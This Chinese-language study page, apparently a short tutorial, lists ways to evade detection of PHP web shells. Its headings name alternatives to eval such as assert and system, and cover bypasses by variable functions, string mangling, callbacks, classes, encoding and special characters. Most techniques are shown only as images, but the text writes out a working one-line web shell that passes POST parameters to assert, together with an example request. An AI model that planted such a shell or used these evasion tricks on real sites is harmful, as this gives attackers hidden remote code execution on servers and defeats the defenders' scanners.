企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持知识库和私有化部署方案 广告
[TOC] ## 函数替换 ~~~ • php中除了eval,还有其他函数也可以执行代码,比如assert函数 • 命令执行函数system、passthru、exec、shell_exec等 ~~~ ## 双变量绕过 ~~~ <?php $_POST['a' ]($_POST['b']);?> a=assert&b=phpinfo() ~~~ ## 字符串变形绕过 ![](https://img.kancloud.cn/3b/25/3b25b0d10bffe43dd1bbb6772d952dd1_808x177.png) ## 定义函数绕过 ![](https://img.kancloud.cn/a4/44/a4444f352237f1170924b79ff5333b7d_772x505.png) ## 回调函数绕过 **概念:** 指调用函数的时候,将另一个函数作为参数传递到调用的函数中 **功能:** 使用回调函数,是为了可以将一段自己定义的功能传到函数内部使用 ![](https://img.kancloud.cn/70/c1/70c1f1c93ae9991868aaee08aa3db195_805x175.png) ## 类绕过 ![](https://img.kancloud.cn/d9/49/d9498215af1f4e6630a0e131f6171c44_696x574.png) ## 编码绕过 ![](https://img.kancloud.cn/70/92/70928cc9e4e01041eac8f483b6c6b423_770x246.png) ## 特殊字符干扰绕过 ![](https://img.kancloud.cn/cb/34/cb3476551616903fb577f80ee2c8d00b_597x331.png) ## 无字符特征码绕过 ![](https://img.kancloud.cn/10/0e/100e6e8e1d331127b572367ca9b5a11f_776x143.png)